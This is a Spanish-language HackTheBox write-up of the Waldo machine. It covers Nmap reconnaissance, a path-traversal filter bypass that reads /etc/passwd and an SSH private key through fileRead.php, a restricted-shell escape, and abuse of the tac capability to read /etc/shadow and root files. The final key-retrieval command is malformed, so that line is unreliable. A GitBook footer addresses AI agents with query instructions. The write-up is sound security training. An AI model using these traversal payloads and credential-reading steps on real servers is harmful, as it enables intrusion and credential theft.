> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Análisis de Waldo HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**Habilidades:**

* LFI (Inclusión de Archivos Locales) - Bypass de filtro
* Obtención de la clave privada SSH de un usuario mediante el LFI
* Escapar de un contenedor
* Bypass de shell restringida
* Abuso de capacidades (cap\_dac\_read\_search+ei) (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/957346d2b9231cb525a1ab50d77399c30f0aa23e" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/8f563505d587234c17de4ad742f70a3592c5dc4f" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="/files/55f486f1fbc4dd4361ef90485d1fb3d2f204e7e5" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap 22,80:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="/files/eceb6f3958f2120c72d933d3fff9842811831467" alt=""><figcaption></figcaption></figure>

## Explotación del puerto 80

<figure><img src="/files/4b097de3dfedfb0a1defcad8492072837bf7aad2" alt=""><figcaption></figcaption></figure>

#### Intercepción con Burp Suite

Analizamos las consultas e identificamos una vulnerabilidad **LFI** (Inclusión de Archivos Locales).

<figure><img src="/files/d30084389f7d2766706d102fdb5c7f24b52d6dce" alt=""><figcaption></figcaption></figure>

### Prueba básica de LFI

Intentamos acceder a `/etc/passwd`:

```
../../../../etc/passwd
```

Esto no funciona.

<figure><img src="/files/3c8a551250898a0ac92b9b4e2a3a9290874c8ae1" alt=""><figcaption></figcaption></figure>

### Bypass de filtro LFI

Estamos probando un bypass con

```
....//....//../....//..//....//etc/passwd
```

Este bypass funciona, y ahora podemos listar el `/etc/passwd` archivo.

<figure><img src="/files/1c3987688daca9863ceb39d0ef67896353e04806" alt=""><figcaption></figcaption></figure>

#### Extracción de archivos con Curl

Usamos `curl` para recuperar el archivo a través del endpoint vulnerable:

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

Encontramos al usuario **nobody**.

<figure><img src="/files/38479ceca53e4c55fb28e18c7f28b8f1cd668ab2" alt=""><figcaption></figcaption></figure>

### Acceso al `.ssh` directorio de nobody

Interceptamos la petición de la página `list.html` y observamos que la variable `path` se utiliza para recuperar archivos.

<figure><img src="/files/f366c45e6aff6d5ab486221870e1dcd0a0c641a1" alt=""><figcaption></figcaption></figure>

Exploramos el directorio home de `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="/files/af8ee76fef1560777034f1d4f5bfe6d79926e57d" alt=""><figcaption></figcaption></figure>

Encontramos un `.monitor` archivo.

#### Extracción de la clave privada SSH

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

Estamos obteniendo una clave privada.

<figure><img src="/files/844a3bb55407c552600f5d140328617e1783ba60" alt=""><figcaption></figcaption></figure>

#### Conexión SSH a nobody

Nos conectamos con la clave recuperada:

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="/files/8dcfd3577986363e911f241eb53f0c28f0b925c0" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/c2d2085fd70fb09e8fc665efa9c5e5176e0981ec" alt="" width="499"><figcaption></figcaption></figure>

## Pivotando al usuario operator

Identificamos un archivo de usuario `operador`

<figure><img src="/files/888ce48a7dd6e5ae85e8edb3ef9b65f8849078de" alt=""><figcaption></figcaption></figure>

Encontramos un `authorized_keys` perteneciente a `monitor`.

<figure><img src="/files/b45380794acd52d3d20e149ccefa96abf59810fc" alt=""><figcaption></figcaption></figure>

#### Conexión SSH a monitor

```bash
ssh monitor@127.0.0.1 -i .monitor
```

Nos encontramos en una shell pequeña (`rbash`).

<figure><img src="/files/84c1a44f1d993e966917049a704701519a61e1ac" alt=""><figcaption></figcaption></figure>

### Bypass de shell restringida

Iniciamos una sesión SSH especificando `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="/files/df7cef54490336f964220902728c2d7ac4363df7" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

### Capabilities - tac

Listamos archivos con capacidades específicas:

```bash
getcap -r / 2>/dev/null
```

Identificamos que **tac** tiene la capacidad `cap_dac_read_search+ei` :

<figure><img src="/files/7d04b6f6e21a3483d06fdd0b9d3630ffadc09d0c" alt=""><figcaption></figcaption></figure>

#### Operación con tac para leer archivos protegidos

El `tac` comando (inverso de `cat`) nos permite mostrar los archivos invirtiendo su contenido.

```bash
tac /etc/shadow
```

<figure><img src="/files/250e280eb0c61ccfc7a387b071d6d2726834185e" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

**Lectura de la flag root.txt**

```bash
tac /root/root.txt | tac
```

<figure><img src="/files/ea3493fd620914218af2d24a5796e5661d0ce390" alt="" width="545"><figcaption></figcaption></figure>

**Recuperación de la clave SSH de root**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="/files/0eaab39c5d3787f3400ad63f17bd0eb6a0936fd9" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
